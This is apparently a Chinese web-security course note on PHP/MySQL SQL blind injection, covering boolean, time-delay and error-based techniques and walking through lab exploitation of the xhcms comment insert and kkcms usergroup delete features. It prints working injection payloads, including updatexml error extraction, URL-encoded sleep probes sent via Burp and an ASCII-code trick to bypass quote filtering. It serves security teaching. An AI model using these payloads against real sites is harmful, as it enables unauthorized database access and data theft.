目录

第44天WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

第44天:WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

时间轴:

44天知识点总结:

1.mysql的增删改查功能

2.根据源码sql语句的三种sql注入:布尔盲注(必须要有回显)

延时判断(都可以)

报错回显(必须要有报错处理机制)

3.两个cms案例:

xhcms,kkcms

使用ascil进行单引号绕过。

4.写的一个新闻网页,使用del过滤。

演示案例:

PHP-MYSQL-SQL 操作-增删改查

PHP-MYSQL-注入函数-布尔&报错&延迟

PHP-MYSQL-注入条件-数据回显&错误处理

PHP-MYSQL-CMS 案例-插入报错&删除延迟

PHP-MYSQL-SQL 操作-增删改查

1、功能:数据查询(注重数据回显)

查询:SELECT * FROM news where id=$id

2、功能:新增用户,添加新闻等(注重结果)

增加:INSERT INTO news (字段名) VALUES (数据)

3、功能:删除用户,删除新闻等(注重结果)

删除:DELETE FROM news WHERE id=$id

4、功能:修改用户,修改文章等(注重结果)

修改:UPDATE news SET id=$id

insert是如何进行注入的?

演示:

https://i-blog.csdnimg.cn/direct/34279c8dde524362bfdf430e854d3531.png

PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在==注入过程中,获取的数据不能回显==至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

1 、基于布尔的 SQL 盲注 - 逻辑判断(需要有回显)

regexp,like,ascii,left,ord,mid

#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;

2 、基于时间的 SQL 盲注 - 延时判断(可以不用回显及报错处理)

if,sleep

#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);

演示:

https://i-blog.csdnimg.cn/direct/ab98afc341534c20a1c9d753a64de638.png

https://i-blog.csdnimg.cn/direct/53b3820186584627b4e7d7f838f003b4.png

3 、基于报错的 SQL 盲注 - 报错回显(需要报错处理)

https://i-blog.csdnimg.cn/direct/7e1dab4d20b24395b7da22301ccdc40b.png

基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息。

FLOOR:

FLOOR 函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。

如果在使用 FLOOR 函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。

updatexml:

updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息。

  • 示例:
  • 上述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。

extractvalue:

extractvalue 函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。

示例:

上述语句尝试通过 extractvalue 函数将波浪符 0x7e 连接到当前用户的名称,从而引发错误并回显用户信息。

extractvalue(1, concat(0x7e, (SELECT user())), 1)

使用方法:

#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

演示:

https://i-blog.csdnimg.cn/direct/e3a2b1db526a4721a2ac132d13fa9e88.png

https://i-blog.csdnimg.cn/direct/ca194aebf9f440c795ce8fb603149b9b.png

4.更多:

like 'ro%'            #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

PHP-MYSQL-注入条件-数据回显&错误处理

PHP开发项目-输出结果&开启报错

1.基于延时:( (报错和回显都不需要) )

and if(1=1,sleep(5),0)

2.基于布尔:有数据库输出判断标准 盲注可用布尔盲注(需要回显)

and length(database())=6

3.基于报错:有数据库报错处理判断标准( 加入报错处理可利用报错盲注 )

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3  and length(database())=6(无回显,无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

演示案例:

news.html与news.php:

尝试对删除功能进行注入:

没有对数据进行回显操作,只有报错处理。

https://i-blog.csdnimg.cn/direct/6949e2103c77456294f52e685d34e058.png

https://i-blog.csdnimg.cn/direct/99192fd3ab4c4ad39fc45dff74be64dc.png

https://i-blog.csdnimg.cn/direct/55eccfff8cff4756891f1a24ba14c68a.png

PHP-MYSQL-CMS 案例-插入报错&删除延迟

1、xhcms-insert报错
 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and 

打开对应的源码

  1. ctrl+shift+f:全局搜索:insert
  2. 发现有报错处理:文件路径为:files/submit.php
  3. 由于网址在index.php有规定,特殊的路由访问方式
  4. 使用全局搜索**:?r=submit,发现是由files/contact.php路径触发
  5. 所以直接使用 触发网址,并对照源码发现,就是此页面
  6. 再次查看submit.php页面发现其SQL语句中的表名为$query = “INSERT INTO **interaction ,对应查找数据库,发现里面的内容,与contact.php页面留言表一一符合,及判断submit.php页面是实现评论提交功能;
  7. 分析sql语句$query = “INSERT INTO interaction (type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date) VALUES (’$type’, ‘$xs’, ‘$cid’, ‘$name’, ‘$mail’, ‘$url’, ‘$touxiang’, ‘$shebei’, ‘$ip’, ‘$content’, ‘$tz’, now())”; 发现有‘ ’影响,在注入时,需要避免
  8. 使用注入:’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
  9. 注意:留言内容必须是中文,不然会无法回显报错
  10. 数据回显:新增错误:XPATH syntax error: ‘5.7.26’,盲注成功

1.ctrl+shift+f:全局搜索:insert

https://i-blog.csdnimg.cn/direct/99ed606cb80a435da5c224ccaa538ccb.png

https://i-blog.csdnimg.cn/direct/94d66252a6f24019b9b34158fcaa4ad6.png

发现在此处可以进行sql报错处理。

2.发现有报错处理:文件路径为:files/submit.php

右鍵找到地址,复制地址可以看到路径。

https://i-blog.csdnimg.cn/direct/1f10559fa0694cfc8f665e87737a2463.png

3.正常情况去访问:(会发现报错)

https://i-blog.csdnimg.cn/direct/7efcdefb8aec479d8f736262384bc3bd.png

分析发现是使用别的访问方式:

https://i-blog.csdnimg.cn/direct/3795fb690b124a16869c54b26bc518e3.png

4.于是尝试访问:(发现出现报错)

https://i-blog.csdnimg.cn/direct/8df1175e727a4bcca23983f0955c7e5e.png

5.于是继续进行全局搜索:发现有个contact是需要此数据传递的

https://i-blog.csdnimg.cn/direct/f563be3a131242ac9bb0443fc4777472.png

6.所以直接使用 触发网址,并对照源码发现,就是此页面

https://i-blog.csdnimg.cn/direct/421bf7f38c624da088e9f593ac3eed2f.png

7.源码和网页对应上。

https://i-blog.csdnimg.cn/direct/ad7875acef684f338653bc712fbf99cc.png

8.可判断此处就是接受评论的地方。

https://i-blog.csdnimg.cn/direct/330aca0c80ba4026814113c56b0a0467.png

9.发现interaction和数据库对应上,也和网页对用上。

https://i-blog.csdnimg.cn/direct/f11fc58ab89d443ba80fa40056ac8487.png

10.由于有报错可以进行盲注报错处理,但由于数据中有’’,所以需要进行过滤。

https://i-blog.csdnimg.cn/direct/5bc490411a9c4f94b2b43a9b7f4ad29e.png

使用语句:

' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

https://i-blog.csdnimg.cn/direct/1665de712169476da77b854bca3dfc66.png

https://i-blog.csdnimg.cn/direct/f07bdb63f6924e7b85b832e5bd99a023.png

2、kkcms-delete延时

and if(1=1,sleep(5),0)

or if(1=1,sleep(5),0)

or if(ord(left(database(),1))=107,sleep(2),0)

  1. 打开对应的源码
  2. ctrl+shift+f:全局搜索:delete
  3. 发现有删除相关代码:文件路径为:admin/model/usergroup.php
  4. 访问发现 ,出现空白,
  5. 解决:必须需要登录 还是空白
  6. 由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配
  7. 搜到包含文件include(‘model/usergroup.php’); 使用该文件路径进行网址访问/admin/cms_usergroup.php
  8. 访问成功
  9. 由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp

1.打开对应的源码

2.ctrl+shift+f:全局搜索:delete

https://i-blog.csdnimg.cn/direct/6863549630634c26b22c356336a4c401.png

3.发现有删除相关代码:文件路径为:admin/model/usergroup.php

https://i-blog.csdnimg.cn/direct/6a0ef60f6e114024ae635fe94db80687.png

4.访问发现 ,出现空白,

https://i-blog.csdnimg.cn/direct/4eb26fbf776c4d89a869a692aa929ed3.png

5.解决:必须需要登录

https://i-blog.csdnimg.cn/direct/9374fd9976234d53b7076f4167d4b2e1.png

用戶名:admin

密码:123456

https://i-blog.csdnimg.cn/direct/90aa5f4afc2645dd827b9d45bd5d4d06.png

6.由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配

https://i-blog.csdnimg.cn/direct/286d2e0f969146dcb53505b53d4b2ff6.png

7.搜到包含文件include(‘model/usergroup.php’); 使用该文件路径进行网址访问/admin/cms_usergroup.php

https://i-blog.csdnimg.cn/direct/7a345b691ea04e69a8b4aaf8dc5519df.png

https://i-blog.csdnimg.cn/direct/1e92734c948b483e8a5760fb584d8241.png

访问成功

https://i-blog.csdnimg.cn/direct/bb5a3af2f8f043e0aa411837c6dde8a5.png

寻找表:

https://i-blog.csdnimg.cn/direct/ed021360c8db4042a0c03f6cf92c805d.png

https://i-blog.csdnimg.cn/direct/01a3becacf494453a0821e21dfa7c3f3.png

由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp

  • 使用burp抓到对应包,发送至repeater,并在GET头加入?del=4发送包,查看是否成功

    ?del=4 or if(1=1,sleep(2),sleep(0))

  • 回显200成功后,将

    ?del=4%20or%20if(1=1,sleep(1),sleep(0)) 注入代码写入GET头,并查看右下角,发现有延时,注入成功

  • 需要注意,在写入GET头中的注入语句, 需要将空格转换为%20字符,直接输入空格会报错,导致无法识别

https://i-blog.csdnimg.cn/direct/0ba4990844b34527ad2802eee269d9c9.png

  • ?del=4%20or%20if(length(database())=5,sleep(1),sleep(0)) 将判断内容替换为,查询数据库名的个数,在输入5的时候,有延迟,及证明,数据库名有五位(可以查看右下角判断时间)
  • https://i-blog.csdnimg.cn/direct/8a6ae1318a994ae8bf684fc72b03b995.png
  • ?del=4%20or%20if(**left(database(),1)=‘k’,sleep(1),sleep(0)) 将判断内容替换为检查当前数据库名称的第一个字符是否为 ‘k’。
  • https://i-blog.csdnimg.cn/direct/eae6f237a2c74c758bcc3eb6d07f6dd0.png

发现,回显的数据包,并没有延时,但数据库名为kkcms

将源码的sql语句打印出来,发现是源码对于 单引号 做了过滤

  • ord() 函数:

  • ord() 函数返回字符串的第一个字符的 ASCII 值。

  • 在这个语句中,

    ord(left(database(),1)) 返回当前数据库名称的第一个字符的 ASCII 值。

?del=4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0)) 将条件使用ord() 函数:包裹,并将k值转换为ASCII码(107),即可绕过单引号过滤。

ASCII值:k–>107:

https://i-blog.csdnimg.cn/direct/fe946b09335d459190615cf45894c8be.png https://i-blog.csdnimg.cn/direct/4c098f454bbc40a3948bf7e711a78737.png

网站搭建教程:

1.xhcms:

使用phpstudy5.4.45

https://i-blog.csdnimg.cn/direct/bf4077bbb0ef492991c4e108fa523718.png

跳转install,安装即可:

https://i-blog.csdnimg.cn/direct/f2de26d26eda4cd1a91d0af0ce318e67.png

若报错:

https://i-blog.csdnimg.cn/direct/9011a7cca60949f296a10c605dbfc901.png

则:

https://i-blog.csdnimg.cn/direct/81590037732945e9933f21dbf06bf70f.png

https://i-blog.csdnimg.cn/direct/4f62996cf69e4da2b9dd1088895bbc15.png

https://i-blog.csdnimg.cn/direct/99ce6e4c38d44536b6933115852f379f.png

2.kkcms:

https://i-blog.csdnimg.cn/direct/b198a2f354854cd0baf2aedc2abfb990.png

https://i-blog.csdnimg.cn/direct/179c52f85f5b4a62b1a3f560f6e902ae.png

https://i-blog.csdnimg.cn/direct/2f47007c2a24433c9c5be2778963ae47.png 本文章由李豆豆喵和番薯小羊卷~共同完成。